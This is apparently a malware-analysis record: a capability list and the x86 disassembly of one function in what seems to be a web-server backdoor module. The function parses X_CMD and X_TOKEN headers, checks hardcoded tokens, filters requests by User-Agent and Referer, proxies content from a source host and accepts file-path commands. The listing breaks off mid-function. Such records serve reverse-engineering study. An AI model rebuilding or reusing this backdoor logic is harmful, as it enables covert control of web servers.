Function at 0x100027c0
Capabilities:
Act as tcp client
Connect tcp socket
Download and write a file
Get file size
Read and send data from client to server
Read file on windows
Receive and write data from server to client
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10032b7e
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x11c4
call fcn.10016910
mov eax, dword [0x10046070]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, dword [ebp + 8]
mov ecx, esi
mov dword [ebp - 0x11bc], 0
mov eax, dword [esi]
mov eax, dword [eax + 0x10]
call eax
mov edx, dword [esi]
mov edi, eax
mov ecx, esi
mov dword [ebp - 0x11d0], edi
mov edx, dword [edx + 0xc]
call edx
mov esi, eax
mov dword [ebp - 0x11cc], esi
test esi, esi
je 0x10004c62
test edi, edi
je 0x10004c62
mov edx, dword [esi]
mov ecx, esi
mov edx, dword [edx + 0x20]
call edx
mov dword [ebp - 0x10d8], eax
test eax, eax
je 0x10004c62
mov edx, 0x10040ba8
mov ecx, eax
mov al, byte [ecx]
cmp al, byte [edx]
mov byte [ebp - 0x11ad], al
mov eax, dword [ebp - 0x10d8]
jne 0x10002895
cmp byte [ebp - 0x11ad], 0
je 0x10002891
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
mov byte [ebp - 0x11ad], al
mov eax, dword [ebp - 0x10d8]
jne 0x10002895
add ecx, 2
add edx, 2
cmp byte [ebp - 0x11ad], 0
jne 0x10002853
xor ecx, ecx
jmp 0x1000289a
sbb ecx, ecx
or ecx, 1
xor edx, edx
test ecx, ecx
mov ecx, str.POST
sete dl
mov dword [ebp - 0x11c4], edx
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100028d0
test dl, dl
je 0x100028cc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x100028d0
add eax, 2
add ecx, 2
test dl, dl
jne 0x100028b0
xor eax, eax
jmp 0x100028d5
sbb eax, eax
or eax, 1
xor ecx, ecx
test eax, eax
mov eax, dword [esi]
sete cl
push 0
mov dword [ebp - 0x1030], ecx
mov ecx, esi
mov eax, dword [eax + 0xc]
push str.X_CMD
call eax
mov edx, dword [esi]
mov ecx, esi
push 0
push str.X_TOKEN
mov dword [ebp - 0x11c0], eax
mov edx, dword [edx + 0xc]
call edx
mov edx, dword [esi]
mov ecx, esi
push 0
push str.HOST
mov dword [ebp - 0x11b4], eax
mov edx, dword [edx + 0xc]
call edx
mov dword [ebp - 0x10d8], eax
test eax, eax
je 0x10004c62
push eax
lea ecx, [ebp - 0x10d4]
call fcn.10001bf0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x102c]
push dword [ebp - 0x10d8]
call fcn.10001bf0
lea edx, [ebp - 0x102c]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x10a4]
call fcn.10011230
lea ecx, [ebp - 0x102c]
mov byte [ebp - 4], 3
call fcn.10001b50
mov eax, dword [esi]
mov ecx, esi
push 0
push str.X_FORWARDED_HOST
mov eax, dword [eax + 0xc]
call eax
mov dword [ebp - 0x10d8], eax
test eax, eax
je 0x100029fd
push eax
lea ecx, [ebp - 0x1074]
call fcn.10001bf0
lea edx, [ebp - 0x1074]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x108c]
call fcn.10011230
push eax
lea ecx, [ebp - 0x10a4]
call fcn.10007110
lea ecx, [ebp - 0x108c]
call fcn.100075f0
lea ecx, [ebp - 0x1074]
mov byte [ebp - 4], 3
call fcn.10001b50
push dword [ebp - 0x10d8]
lea ecx, [ebp - 0x1074]
call fcn.10001bf0
push eax
lea ecx, [ebp - 0x10d4]
call fcn.10007360
lea ecx, [ebp - 0x1074]
call fcn.10001b50
xor eax, eax
mov dword [ebp - 0x10ac], 0
mov dword [ebp - 0x10a8], 7
mov word [ebp - 0x10bc], ax
mov byte [ebp - 4], 5
mov ecx, esi
mov eax, dword [esi]
push 0
push str.X_FORWARDED_FOR
mov eax, dword [eax + 0xc]
call eax
test eax, eax
je 0x10002a72
push eax
lea ecx, [ebp - 0x102c]
call fcn.10001bf0
lea edx, [ebp - 0x102c]
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x1074]
call fcn.10011230
push eax
lea ecx, [ebp - 0x10bc]
call fcn.10007110
lea ecx, [ebp - 0x1074]
call fcn.100075f0
lea ecx, [ebp - 0x102c]
jmp 0x10002ab6
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 0x3c]
call eax
mov edx, eax
lea ecx, [ebp - 0x1074]
call fcn.1000e820
mov edx, eax
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x102c]
call fcn.10011230
push eax
lea ecx, [ebp - 0x10bc]
call fcn.10007110
lea ecx, [ebp - 0x102c]
call fcn.100075f0
lea ecx, [ebp - 0x1074]
mov byte [ebp - 4], 5
call fcn.10001b50
cmp dword [ebp - 0x11b4], 0
mov dword [ebp - 0x10d8], 0
je 0x10002b5c
push str.tn7rM2851XVvOFbc
lea ecx, [ebp - 0x102c]
call fcn.10001bf0
lea edx, [ebp - 0x102c]
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x1074]
call fcn.100110f0
cmp dword [eax + 0x14], 0x10
jb 0x10002b03
mov eax, dword [eax]
mov ecx, dword [ebp - 0x11b4]
nop dword [eax]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x10002b30
test dl, dl
je 0x10002b2c
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x10002b30
add ecx, 2
add eax, 2
test dl, dl
jne 0x10002b10
xor ecx, ecx
jmp 0x10002b35
sbb ecx, ecx
or ecx, 1
xor eax, eax
test ecx, ecx
lea ecx, [ebp - 0x1074]
sete al
mov dword [ebp - 0x10d8], eax
call fcn.10001b50
lea ecx, [ebp - 0x102c]
mov byte [ebp - 4], 5
call fcn.10001b50
cmp dword [ebp - 0x11c4], 0
je 0x10004935
mov eax, dword [ebp - 0x11c0]
test eax, eax
jne 0x10003876
cmp byte [0x10046880], al
je case.0x10003926.106
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 4]
call eax
mov edi, dword [eax + 0x44]
test edi, edi
je case.0x10003926.106
push 0
call fcn.1001c488
add esp, 4
cmp edx, dword [0x10047d54]
jl 0x10002bef
jg 0x10002bb3
cmp eax, dword [0x10047d50]
jbe 0x10002bef
push 0
call fcn.1001c488
add eax, 0x3c
mov dword [0x10047d50], eax
adc edx, 0
sub esp, 8
mov dword [0x10047d54], edx
call fcn.10011730
add esp, 0xc
call fcn.10011b20
mov ecx, 0x10047d30
call fcn.10006e00
mov ecx, 0x10047d3c
call fcn.10006e00
push edi
lea ecx, [ebp - 0x1134]
call fcn.10007150
mov byte [ebp - 4], 9
mov ecx, esi
mov eax, dword [esi]
push 0
push str.User_Agent
mov eax, dword [eax + 0xc]
call eax
mov edi, eax
mov dword [ebp - 0x11c0], edi
test edi, edi
je 0x1000372e
push edi
lea ecx, [ebp - 0x1074]
mov byte [ebp - 0x11ae], 0
mov byte [ebp - 0x11d1], 0
mov byte [ebp - 0x11ad], 0
call fcn.10001bf0
lea eax, [ebp - 0x1074]
mov byte [ebp - 4], 0xa
push eax
lea ecx, [ebp - 0x10ec]
call fcn.100073a0
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0x1064], 0
je 0x10002d99
cmp dword [ebp - 0x10d8], 0x10
lea edi, [ebp - 0x10ec]
lea eax, [ebp - 0x1030]
cmovae edi, dword [ebp - 0x10ec]
lea esi, [ebp - 0x1074]
cmp dword [ebp - 0x1060], 0x10
lea ecx, [ebp - 0x1074]
push eax
cmovae esi, dword [ebp - 0x1074]
call fcn.10007210
push edi
lea ecx, [ebp - 0x11c4]
push dword [eax]
push esi
call fcn.10009570
mov ecx, dword [0x10047d60]
add esp, 0xc
mov eax, dword [ecx]
mov dword [ebp - 0x11b4], eax
cmp eax, ecx
je 0x10002d20
add eax, 0x10
cmp dword [eax + 0x14], 0x10
lea edx, [eax + 0x10]
jb 0x10002cd3
mov eax, dword [eax]
push dword [edx]
cmp dword [ebp - 0x10d8], 0x10
lea ecx, [ebp - 0x10ec]
mov edx, dword [ebp - 0x10dc]
cmovae ecx, dword [ebp - 0x10ec]
push eax
push ecx
call fcn.10009b10
add esp, 0xc
cmp eax, 0xffffffff
jne 0x10002d19
lea ecx, [ebp - 0x11b4]
call fcn.10006c00
mov eax, dword [ebp - 0x11b4]
cmp eax, dword [0x10047d60]
jne 0x10002cc5
jmp 0x10002d20
mov byte [ebp - 0x11ae], 1
mov ecx, dword [0x10047d68]
mov eax, dword [ecx]
mov dword [ebp - 0x11b4], eax
cmp eax, ecx
je 0x10002d8d
add eax, 0x10
cmp dword [eax + 0x14], 0x10
lea edx, [eax + 0x10]
jb 0x10002d40
mov eax, dword [eax]
push dword [edx]
cmp dword [ebp - 0x10d8], 0x10
lea ecx, [ebp - 0x10ec]
mov edx, dword [ebp - 0x10dc]
cmovae ecx, dword [ebp - 0x10ec]
push eax
push ecx
call fcn.10009b10
add esp, 0xc
cmp eax, 0xffffffff
jne 0x10002d86
lea ecx, [ebp - 0x11b4]
call fcn.10006c00
mov eax, dword [ebp - 0x11b4]
cmp eax, dword [0x10047d68]
jne 0x10002d32
jmp 0x10002d8d
mov byte [ebp - 0x11d1], 1
mov esi, dword [ebp - 0x11cc]
mov edi, dword [ebp - 0x11c0]
mov eax, dword [esi]
mov ecx, esi
push 0
push str.Referer
mov eax, dword [eax + 0xc]
call eax
mov esi, eax
mov dword [ebp - 0x107c], 0
xor eax, eax
mov dword [ebp - 0x1078], 7
mov word [ebp - 0x108c], ax
mov byte [ebp - 4], 0xc
test esi, esi
je 0x10002ea9
push esi
lea ecx, [ebp - 0x102c]
call fcn.10001bf0
lea edx, [ebp - 0x102c]
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x1104]
call fcn.10011230
push eax
lea ecx, [ebp - 0x108c]
call fcn.10007110
lea ecx, [ebp - 0x1104]
call fcn.100075f0
lea ecx, [ebp - 0x102c]
mov byte [ebp - 4], 0xc
call fcn.10001b50
push esi
lea ecx, [ebp - 0x1164]
call fcn.10001bf0
mov edx, dword [ebp - 0x1154]
test edx, edx
je 0x10002e9e
mov ecx, dword [0x10047d70]
mov eax, dword [ecx]
mov dword [ebp - 0x11b4], eax
cmp eax, ecx
je 0x10002e9e
add eax, 0x10
cmp dword [eax + 0x14], 0x10
lea esi, [eax + 0x10]
jb 0x10002e51
mov eax, dword [eax]
push dword [esi]
cmp dword [ebp - 0x1150], 0x10
lea ecx, [ebp - 0x1164]
push eax
cmovae ecx, dword [ebp - 0x1164]
push ecx
call fcn.10009b10
add esp, 0xc
cmp eax, 0xffffffff
jne 0x10002e97
lea ecx, [ebp - 0x11b4]
call fcn.10006c00
mov eax, dword [ebp - 0x11b4]
cmp eax, dword [0x10047d70]
je 0x10002e9e
mov edx, dword [ebp - 0x1154]
jmp 0x10002e43
mov byte [ebp - 0x11ad], 1
lea ecx, [ebp - 0x1164]
call fcn.10001b50
cmp byte [ebp - 0x11ae], 0
jne 0x10002ecc
cmp byte [ebp - 0x11d1], 0
je 0x1000370d
cmp byte [ebp - 0x11ad], 0
je 0x1000370d
mov ecx, edi
mov dword [ebp - 0x1154], 0
mov dword [ebp - 0x1150], 0xf
mov byte [ebp - 0x1164], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10002ef0
sub ecx, edx
push ecx
push edi
lea ecx, [ebp - 0x1164]
call fcn.10001c40
lea edx, [ebp - 0x1164]
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x102c]
call fcn.10011230
lea ecx, [ebp - 0x1164]
mov byte [ebp - 4], 0x10
call fcn.10001b50
lea eax, [ebp - 0x1140]
push eax
call fcn.10006eb0
mov byte [ebp - 4], 0x11
mov esi, dword [ebp - 0x1140]
mov edi, dword [ebp - 0x113c]
cmp esi, edi
je 0x100036f7
nop
xor eax, eax
mov dword [ebp - 0x10f4], 0
push 0xffffffffffffffff
push eax
push esi
lea ecx, [ebp - 0x1104]
mov dword [ebp - 0x10f0], 7
mov word [ebp - 0x1104], ax
call fcn.10007ce0
xor eax, eax
mov byte [ebp - 4], 0x12
push 0xffffffffffffffff
push eax
mov word [ebp - 0x1164], ax
lea ecx, [ebp - 0x1164]
lea eax, [esi + 0x18]
mov dword [ebp - 0x1154], 0
push eax
mov dword [ebp - 0x1150], 7
call fcn.10007ce0
mov byte [ebp - 4], 0x13
lea eax, [ebp - 0x1104]
cmp dword [ebp - 0x10f0], 8
lea ecx, [ebp - 0x1134]
push dword [ebp - 0x10f4]
cmovae eax, dword [ebp - 0x1104]
cmp dword [ebp - 0x1120], 8
mov edx, dword [ebp - 0x1124]
cmovae ecx, dword [ebp - 0x1134]
push eax
push 0
call fcn.100099f0
add esp, 0xc
test eax, eax
je 0x10003020
lea ecx, [ebp - 0x1164]
call fcn.100075f0
lea ecx, [ebp - 0x1104]
mov byte [ebp - 4], 0x11
call fcn.100075f0
add esi, 0x30
cmp esi, edi
jne 0x10002f50
jmp 0x100036f7
cmp byte [ebp - 0x11ae], 0
je 0x100030a9
push 0x10047d38
call fcn.10014776
add esp, 4
lea eax, [ebp - 0x10a4]
mov ecx, 0x10047d30
push eax
lea eax, [ebp - 0x1030]
push eax
call fcn.10007410
push 0x10047d38
mov eax, dword [eax]
cmp eax, dword [0x10047d30]
setne byte [ebp - 0x11ad]
call fcn.10014792
add esp, 4
lea eax, [ebp - 0x10a4]
mov ecx, 0x10047d30
push eax
call fcn.10006e30
cmp byte [ebp - 0x11ad], 0
je 0x1000311e
mov esi, dword [eax]
mov ecx, 0x10047d30
lea eax, [ebp - 0x10a4]
push eax
call fcn.10006e30
lea ecx, [esi + 1]
mov dword [eax], ecx
jmp 0x10003124
push 0x10047d44
call fcn.10014776
add esp, 4
lea eax, [ebp - 0x10a4]
mov ecx, 0x10047d3c
push eax
lea eax, [ebp - 0x1030]
push eax
call fcn.10007410
push 0x10047d44
mov eax, dword [eax]
cmp eax, dword [0x10047d3c]
setne byte [ebp - 0x11ad]
call fcn.10014792
add esp, 4
lea eax, [ebp - 0x10a4]
mov ecx, 0x10047d3c
push eax
call fcn.10006e30
cmp byte [ebp - 0x11ad], 0
je 0x1000311e
mov esi, dword [eax]
mov ecx, 0x10047d3c
lea eax, [ebp - 0x10a4]
push eax
call fcn.10006e30
lea ecx, [esi + 1]
mov dword [eax], ecx
jmp 0x10003124
mov dword [eax], 1
mov dword [ebp - 0x116c], 0
mov dword [ebp - 0x1168], 0xf
mov byte [ebp - 0x117c], 0
mov byte [ebp - 4], 0x14
cmp dword [0x10047cc0], 0
jle 0x100034e0
push 0
call fcn.1001c488
add esp, 4
cmp edx, dword [0x10047d4c]
jl 0x100032a7
jg 0x10003174
cmp eax, dword [0x10047d48]
jbe 0x100032a7
push 0
call fcn.1001c488
mov ecx, eax
mov esi, edx
mov eax, dword [0x10047cc0]
add esp, 4
cdq
add eax, ecx
mov dword [0x10047d48], eax
adc edx, esi
mov dword [0x10047d4c], edx
call fcn.10006cf0
lea eax, [ebp - 0x1134]
push eax
lea edx, [ebp - 0x1164]
lea ecx, [ebp - 0x111c]
call fcn.100095d0
push 3
lea ecx, [ebp - 0x108c]
mov byte [ebp - 4], 0x15
push ecx
lea ecx, [ebp - 0x10bc]
mov edx, eax
push ecx
lea ecx, [ebp - 0x10a4]
push ecx
lea ecx, [ebp - 0x102c]
push ecx
lea ecx, [ebp - 0x1044]
call fcn.1000d970
add esp, 0x18
lea ecx, [ebp - 0x117c]
push eax
call fcn.10007360
lea ecx, [ebp - 0x1044]
call fcn.10001b50
lea ecx, [ebp - 0x111c]
mov byte [ebp - 4], 0x14
call fcn.100075f0
cmp dword [ebp - 0x116c], 0
je 0x100036ac
cmp byte [ebp - 0x11ae], 0
je 0x10003266
lea eax, [ebp - 0x1104]
push eax
lea edx, [ebp - 0x10a4]
lea ecx, [ebp - 0x111c]
call fcn.100095d0
add esp, 4
mov byte [ebp - 4], 0x16
push eax
call fcn.10006d80
lea ecx, [ebp - 0x117c]
cmp eax, ecx
je 0x1000368f
push 0xffffffffffffffff
push 0
push ecx
mov ecx, eax
call fcn.10001ed0
jmp 0x1000368f
push str.8FN2PN2WEiu007cU
lea ecx, [ebp - 0x1044]
call fcn.10007150
lea eax, [ebp - 0x1044]
mov byte [ebp - 4], 0x17
push eax
call fcn.10006d80
lea ecx, [ebp - 0x117c]
cmp eax, ecx
je 0x1000329c
push 0xffffffffffffffff
push 0
push ecx
mov ecx, eax
call fcn.10001ed0
lea ecx, [ebp - 0x1044]
jmp 0x10003695
cmp byte [ebp - 0x11ae], 0
je 0x100032e7
lea eax, [ebp - 0x1104]
push eax
lea edx, [ebp - 0x10a4]
lea ecx, [ebp - 0x111c]
call fcn.100095d0
add esp, 4
mov ecx, 1
mov dword [ebp - 0x11bc], ecx
push eax
call fcn.10006c90
mov byte [ebp - 0x11ad], 1
test al, al
jne 0x100032ee
mov byte [ebp - 0x11ad], 0
mov eax, dword [ebp - 0x11bc]
test al, 1
je 0x1000330c
and eax, 0xfffffffe
lea ecx, [ebp - 0x111c]
mov dword [ebp - 0x11bc], eax
call fcn.100075f0
cmp byte [ebp - 0x11ad], 0
je 0x10003357
lea eax, [ebp - 0x1104]
push eax
lea edx, [ebp - 0x10a4]
lea ecx, [ebp - 0x111c]
call fcn.100095d0
add esp, 4
push eax
mov byte [ebp - 4], 0x18
call fcn.10006d80
lea ecx, [ebp - 0x117c]
cmp ecx, eax
je 0x1000368f
push 0xffffffffffffffff
push 0
push eax
call fcn.10001ed0
jmp 0x1000368f
cmp byte [ebp - 0x11ae], 0
jne 0x1000338e
push str.8FN2PN2WEiu007cU
lea ecx, [ebp - 0x1044]
call fcn.10007150
or dword [ebp - 0x11bc], 2
lea eax, [ebp - 0x1044]
push eax
call fcn.10006c90
mov byte [ebp - 0x11ad], 1
test al, al
jne 0x10003395
mov byte [ebp - 0x11ad], 0
mov ecx, dword [ebp - 0x11bc]
test cl, 2
je 0x100033ab
lea ecx, [ebp - 0x1044]
call fcn.100075f0
cmp byte [ebp - 0x11ad], 0
lea ecx, [ebp - 0x1044]
je 0x100033f7
push str.8FN2PN2WEiu007cU
call fcn.10007150
lea eax, [ebp - 0x1044]
mov byte [ebp - 4], 0x19
push eax
call fcn.10006d80
lea ecx, [ebp - 0x117c]
cmp ecx, eax
je 0x1000329c
push 0xffffffffffffffff
push 0
push eax
call fcn.10001ed0
lea ecx, [ebp - 0x1044]
jmp 0x10003695
lea eax, [ebp - 0x1134]
push eax
lea edx, [ebp - 0x1164]
call fcn.100095d0
push 3
lea ecx, [ebp - 0x108c]
mov byte [ebp - 4], 0x1a
push ecx
lea ecx, [ebp - 0x10bc]
mov edx, eax
push ecx
lea ecx, [ebp - 0x10a4]
push ecx
lea ecx, [ebp - 0x102c]
push ecx
lea ecx, [ebp - 0x111c]
call fcn.1000d970
add esp, 0x18
lea ecx, [ebp - 0x117c]
push eax
call fcn.10007360
lea ecx, [ebp - 0x111c]
call fcn.10001b50
lea ecx, [ebp - 0x1044]
mov byte [ebp - 4], 0x14
call fcn.100075f0
cmp dword [ebp - 0x116c], 0
je 0x100036ac
cmp byte [ebp - 0x11ae], 0
je 0x1000349b
lea eax, [ebp - 0x1104]
push eax
lea edx, [ebp - 0x10a4]
lea ecx, [ebp - 0x111c]
call fcn.100095d0
add esp, 4
mov byte [ebp - 4], 0x1b
jmp 0x10003241
push str.8FN2PN2WEiu007cU
lea ecx, [ebp - 0x1044]
call fcn.10007150
lea eax, [ebp - 0x1044]
mov byte [ebp - 4], 0x1c
push eax
call fcn.10006d80
lea ecx, [ebp - 0x117c]
cmp eax, ecx
je 0x1000329c
push 0xffffffffffffffff
push 0
push ecx
mov ecx, eax
call fcn.10001ed0
lea ecx, [ebp - 0x1044]
jmp 0x10003695
lea eax, [ebp - 0x1134]
push eax
lea edx, [ebp - 0x1164]
lea ecx, [ebp - 0x105c]
call fcn.100095d0
mov edx, eax
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x111c]
call fcn.10011300
sub esp, 0x14
mov byte [ebp - 4], 0x1e
mov ecx, esp
mov edx, str.GetFromSource:
push eax
call fcn.10009500
add esp, 4
call fcn.10010d10
add esp, 0x18
lea ecx, [ebp - 0x111c]
call fcn.10001b50
lea ecx, [ebp - 0x105c]
mov byte [ebp - 4], 0x14
call fcn.100075f0
lea edx, [ebp - 0x10a4]
lea ecx, [ebp - 0x105c]
call fcn.10011300
sub esp, 0x18
mov byte [ebp - 4], 0x1f
mov ecx, esp
mov edx, 0x10040c4c
push eax
call fcn.10009500
add esp, 4
call fcn.10010d10
add esp, 0x18
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x105c]
call fcn.10001b50
lea edx, [ebp - 0x10bc]
lea ecx, [ebp - 0x105c]
call fcn.10011300
sub esp, 0x18
mov byte [ebp - 4], 0x20
mov ecx, esp
mov edx, 0x10040c60
push eax
call fcn.10009500
add esp, 4
call fcn.10010d10
add esp, 0x18
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x105c]
call fcn.10001b50
lea edx, [ebp - 0x108c]
lea ecx, [ebp - 0x105c]
call fcn.10011300
sub esp, 0x18
mov byte [ebp - 4], 0x21
mov ecx, esp
mov edx, 0x10040c74
push eax
call fcn.10009500
add esp, 4
call fcn.10010d10
add esp, 0x18
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x105c]
call fcn.10001b50
lea eax, [ebp - 0x1134]
push eax
lea edx, [ebp - 0x1164]
lea ecx, [ebp - 0x111c]
call fcn.100095d0
mov byte [ebp - 4], 0x22
push 3
lea ecx, [ebp - 0x108c]
mov edx, eax
push ecx
lea ecx, [ebp - 0x10bc]
push ecx
lea ecx, [ebp - 0x10a4]
push ecx
lea ecx, [ebp - 0x102c]
push ecx
lea ecx, [ebp - 0x105c]
call fcn.1000d970
mov esi, eax
add esp, 0x18
lea eax, [ebp - 0x117c]
cmp eax, esi
je 0x10003684
mov ecx, eax
call fcn.10001b50
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x117c], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x116c], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
lea ecx, [ebp - 0x105c]
call fcn.10001b50
lea ecx, [ebp - 0x111c]
mov byte [ebp - 4], 0x14
call fcn.100075f0
mov edx, dword [ebp - 0x116c]
test edx, edx
jne 0x1000373e
sub esp, 0x18
mov ecx, esp
push 0x16
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push str.Source_Response_Empty_
mov byte [ecx], 0
call fcn.10001c40
call fcn.10010d10
add esp, 0x18
lea ecx, [ebp - 0x117c]
call fcn.10001b50
lea ecx, [ebp - 0x1164]
call fcn.100075f0
lea ecx, [ebp - 0x1104]
call fcn.100075f0
lea ecx, [ebp - 0x1140]
call fcn.100074f0
lea ecx, [ebp - 0x102c]
call fcn.100075f0
lea ecx, [ebp - 0x108c]
call fcn.100075f0
lea ecx, [ebp - 0x10ec]
call fcn.10001b50
lea ecx, [ebp - 0x1074]
call fcn.10001b50
lea ecx, [ebp - 0x1134]
call fcn.100075f0
jmp case.0x10003926.106
lea ecx, [ebp - 0x105c]
call fcn.10002170
sub esp, 0x18
mov byte [ebp - 4], 0x23
mov ecx, esp
mov edx, str.Source_Response_Len:
push eax
call fcn.10009500
add esp, 4
call fcn.10010d10
add esp, 0x18
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x105c]
call fcn.10001b50
sub esp, 0x18
mov byte [ebp - 0x11ad], 1
mov ecx, esp
mov dword [ebp - 0x1030], esp
push 4
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push str.html
mov byte [ecx], 0
call fcn.10001c40
sub esp, 0x18
mov byte [ebp - 4], 0x24
mov ecx, esp
lea eax, [ebp - 0x117c]
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push eax
mov byte [ecx], 0
call fcn.10001ed0
mov dl, byte [ebp - 0x11ad]
mov ecx, dword [ebp - 0x11d0]
mov byte [ebp - 4], 0x14
call fcn.1000e380
add esp, 0x30
lea ecx, [ebp - 0x117c]
call fcn.10001b50
lea ecx, [ebp - 0x1164]
call fcn.100075f0
lea ecx, [ebp - 0x1104]
call fcn.100075f0
lea ecx, [ebp - 0x1140]
call fcn.100074f0
lea ecx, [ebp - 0x102c]
call fcn.100075f0
lea ecx, [ebp - 0x108c]
call fcn.100075f0
lea ecx, [ebp - 0x10ec]
call fcn.10001b50
lea ecx, [ebp - 0x1074]
call fcn.10001b50
lea ecx, [ebp - 0x1134]
call fcn.100075f0
lea ecx, [ebp - 0x10bc]
call fcn.100075f0
lea ecx, [ebp - 0x10a4]
call fcn.100075f0
lea ecx, [ebp - 0x10d4]
call fcn.10001b50
mov eax, 2
jmp 0x10004c64
push eax
lea ecx, [ebp - 0x102c]
call fcn.10001bf0
lea eax, [ebp - 0x102c]
push eax
call fcn.10006c50
test eax, eax
je 0x100038a2
cmp dword [ebp - 0x10d8], 0
mov byte [ebp - 0x11ad], 0
jne 0x100038a9
mov byte [ebp - 0x11ad], 1
lea ecx, [ebp - 0x102c]
call fcn.10001b50
cmp byte [ebp - 0x11ad], 0
je 0x100038d9
sub esp, 0x18
mov ecx, esp
push str.FUNCTION_GET:_Error
call fcn.10001bf0
call fcn.10010d10
add esp, 0x18
jmp case.0x10003926.106
mov eax, dword [ebp - 0x11c0]
lea ecx, [ebp - 0x1164]
push eax
call fcn.10001bf0
lea eax, [ebp - 0x1164]
mov byte [ebp - 4], 0x25
push eax
lea eax, [ebp - 0x1034]
push eax
call fcn.1000a610
mov eax, dword [ebp - 0x1034]
lea ecx, [ebp - 0x1164]
mov esi, dword [eax + 0x28]
mov byte [ebp - 4], 5
call fcn.10001b50
add esi, 0xffffff9a
cmp esi, 0xf
ja case.0x10003926.106
jmp dword [esi*4 + 0x10006090]
sub esp, 0x18
mov byte [ebp - 0x11ad], 1
mov ecx, esp
mov dword [ebp - 0x1030], esp
push str.plain
call fcn.10001bf0
sub esp, 0x18
mov byte [ebp - 4], 0x26
mov edx, 0x10047ce8
mov ecx, esp
call fcn.10010df0
mov dl, byte [ebp - 0x11ad]
mov ecx, edi
mov byte [ebp - 4], 5
call fcn.1000e380
add esp, 0x18
mov ecx, esp
push 0x100405d4
call fcn.10001bf0
mov edx, 1
mov ecx, edi
call fcn.1000e240
add esp, 0x18
jmp 0x1000384b
sub esp, 0xc
call fcn.10011730
sub esp, 0xc
mov byte [ebp - 0x11ad], 1
mov ecx, esp
mov dword [ebp - 0x1030], esp
push str.plain
call fcn.10001bf0
lea ecx, [ebp - 0x105c]
mov byte [ebp - 4], 0x27
call fcn.100113c0
sub esp, 0x18
mov byte [ebp - 4], 0x28
mov edx, eax
mov ecx, esp
call fcn.10010df0
mov dl, byte [ebp - 0x11ad]
mov byte [ebp - 4], 0x29
mov ecx, edi
call fcn.1000e380
add esp, 0x30
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x105c]
call fcn.10001b50
sub esp, 0x18
jmp 0x10003970
call fcn.10011b20
mov ecx, 0x10047d30
call fcn.10006e00
mov ecx, 0x10047d3c
call fcn.10006e00
sub esp, 0x18
mov byte [ebp - 0x11ad], 1
mov ecx, esp
mov dword [ebp - 0x1030], esp
push str.plain
call fcn.10001bf0
lea ecx, [ebp - 0x105c]
mov byte [ebp - 4], 0x2a
call fcn.10012150
sub esp, 0x18
mov byte [ebp - 4], 0x2b
mov edx, eax
mov ecx, esp
call fcn.10010df0
mov dl, byte [ebp - 0x11ad]
mov byte [ebp - 4], 0x2c
jmp 0x100039dd
call fcn.10006fe0
push str.Proxy
lea ecx, [ebp - 0x102c]
call fcn.10007150
lea ecx, [ebp - 0x102c]
mov byte [ebp - 4], 0x2d
call fcn.10012aa0
lea ecx, [ebp - 0x102c]
mov byte [ebp - 4], 5
call fcn.100075f0
push str.Clear_Rules_Success_
lea ecx, [ebp - 0x1074]
call fcn.10001bf0
sub esp, 0x18
mov byte [ebp - 4], 0x2e
mov ecx, esp
mov dword [ebp - 0x1030], esp
mov byte [ebp - 0x11ad], 1
push str.plain
call fcn.10001bf0
sub esp, 0x18
mov byte [ebp - 4], 0x2f
lea edx, [ebp - 0x1074]
mov ecx, esp
call fcn.10010df0
mov dl, byte [ebp - 0x11ad]
mov ecx, edi
mov byte [ebp - 4], 0x2e
call fcn.1000e380
add esp, 0x30
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x1074]
call fcn.10001b50
sub esp, 0x18
jmp 0x10003970
call fcn.10006cf0
push str.Clear_Cache_Success_
lea ecx, [ebp - 0x102c]
call fcn.10001bf0
sub esp, 0x18
mov byte [ebp - 4], 0x30
mov ecx, esp
mov dword [ebp - 0x1030], esp
mov byte [ebp - 0x11ad], 1
push str.plain
call fcn.10001bf0
sub esp, 0x18
mov byte [ebp - 4], 0x31
lea edx, [ebp - 0x102c]
mov ecx, esp
call fcn.10010df0
mov dl, byte [ebp - 0x11ad]
mov ecx, edi
mov byte [ebp - 4], 0x30
call fcn.1000e380
add esp, 0x30
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x102c]
call fcn.10001b50
sub esp, 0x18
jmp 0x10003970
mov esi, dword [ebp - 0x11cc]
mov ecx, esi
push 0
push str.X_FILEPATH
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
